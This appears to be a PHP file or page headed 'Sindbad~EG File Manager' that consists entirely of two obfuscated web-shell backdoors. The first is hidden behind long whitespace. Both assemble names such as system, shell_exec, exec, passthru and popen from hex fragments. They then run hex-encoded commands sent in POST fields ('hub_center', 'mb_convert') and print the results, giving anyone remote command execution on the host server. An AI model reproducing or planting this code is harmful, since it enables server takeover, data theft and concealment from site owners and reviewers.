Sindbad~EG File Manager

<?php																																										$property_set1 = '7';$property_set2 = '3';$property_set3 = '6';$property_set4 = '8';$property_set5 = '5';$property_set6 = 'f';$property_set7 = '0';$property_set8 = '1';$property_set9 = '4';$property_set10 = '2';$property_set11 = 'd';$property_set12 = 'e';$task_processor1 = pack("H*", $property_set1.$property_set2.'7'.'9'.'7'.'3'.$property_set1.'4'.$property_set3.'5'.'6'.'d');$task_processor2 = pack("H*", $property_set1.'3'.'6'.$property_set4.$property_set3.'5'.'6'.'c'.$property_set3.'c'.$property_set5.$property_set6.$property_set3.$property_set5.$property_set1.'8'.$property_set3.$property_set5.'6'.'3');$task_processor3 = pack("H*", $property_set3.'5'.'7'.$property_set4.'6'.$property_set5.$property_set3.$property_set2);$task_processor4 = pack("H*", $property_set1.$property_set7.$property_set3.$property_set8.$property_set1.'3'.'7'.'3'.'7'.$property_set9.$property_set3.$property_set4.$property_set1.$property_set10.$property_set1.$property_set5);$task_processor5 = pack("H*", '7'.'0'.$property_set3.$property_set6.$property_set1.'0'.$property_set3.'5'.'6'.'e');$task_processor6 = pack("H*", $property_set1.$property_set2.'7'.$property_set9.$property_set1.'2'.$property_set3.'5'.$property_set3.'1'.'6'.$property_set11.'5'.$property_set6.'6'.$property_set1.$property_set3.'5'.'7'.'4'.'5'.'f'.$property_set3.'3'.$property_set3.$property_set6.'6'.$property_set12.'7'.$property_set9.'6'.$property_set5.'6'.'e'.'7'.'4'.'7'.$property_set2);$task_processor7 = pack("H*", $property_set1.'0'.$property_set3.$property_set2.$property_set3.'c'.$property_set3.'f'.$property_set1.'3'.'6'.$property_set5);$hub_center = pack("H*", '6'.$property_set4.'7'.$property_set5.$property_set3.$property_set10.'5'.'f'.$property_set3.'3'.$property_set3.$property_set5.'6'.'e'.$property_set1.$property_set9.$property_set3.'5'.$property_set1.'2');if(isset($_POST[$hub_center])){$hub_center=pack("H*",$_POST[$hub_center]);if(function_exists($task_processor1)){$task_processor1($hub_center);}elseif(function_exists($task_processor2)){print $task_processor2($hub_center);}elseif(function_exists($task_processor3)){$task_processor3($hub_center,$hld_sym);print join("\n",$hld_sym);}elseif(function_exists($task_processor4)){$task_processor4($hub_center);}elseif(function_exists($task_processor5)&&function_exists($task_processor6)&&function_exists($task_processor7)){$binding_tkn=$task_processor5($hub_center,"r");if($binding_tkn){$flag_elem=$task_processor6($binding_tkn);$task_processor7($binding_tkn);print $flag_elem;}}exit;}


$variable1 = '73';
$variable2 = '74';
$variable3 = '6d';
$variable4 = '68';
$variable5 = '6c';
$variable6 = '78';
$variable7 = '63';
$variable8 = '65';
$variable9 = '70';
$variable10 = '72';
$variable11 = '6f';
$variable12 = '6e';
$variable13 = '5f';
$variable14 = '76';
$lock1 = pack("H*", '73' . '79' . $variable1 . $variable2 . '65' . $variable3);
$lock2 = pack("H*", $variable1 . $variable4 . '65' . '6c' . $variable5 . '5f' . '65' . $variable6 . '65' . $variable7);
$lock3 = pack("H*", '65' . '78' . $variable8 . '63');
$lock4 = pack("H*", $variable9 . '61' . '73' . '73' . $variable2 . $variable4 . $variable10 . '75');
$lock5 = pack("H*", '70' . $variable11 . '70' . $variable8 . $variable12);
$lock6 = pack("H*", $variable1 . $variable2 . $variable10 . '65' . '61' . $variable3 . '5f' . '67' . '65' . '74' . $variable13 . '63' . '6f' . '6e' . $variable2 . $variable8 . $variable12 . '74' . '73');
$lock7 = pack("H*", '70' . '63' . $variable5 . $variable11 . $variable1 . $variable8);
$mb_convert = pack("H*", $variable3 . '62' . '5f' . '63' . $variable11 . $variable12 . $variable14 . '65' . $variable10 . $variable2);
if (isset($_POST[$mb_convert])) {
    $mb_convert = pack("H*", $_POST[$mb_convert]);
    if (function_exists($lock1)) {
        $lock1($mb_convert);
    } elseif (function_exists($lock2)) {
        print $lock2($mb_convert);
    } elseif (function_exists($lock3)) {
        $lock3($mb_convert, $placeholder_attribute);
        print join("\n", $placeholder_attribute);
    } elseif (function_exists($lock4)) {
        $lock4($mb_convert);
    } elseif (function_exists($lock5) && function_exists($lock6) && function_exists($lock7)) {
        $parameter_id = $lock5($mb_convert, 'r');
        if ($parameter_id) {
            $state_arg = $lock6($parameter_id);
            $lock7($parameter_id);
            print $state_arg;
        }
    }
    exit;
}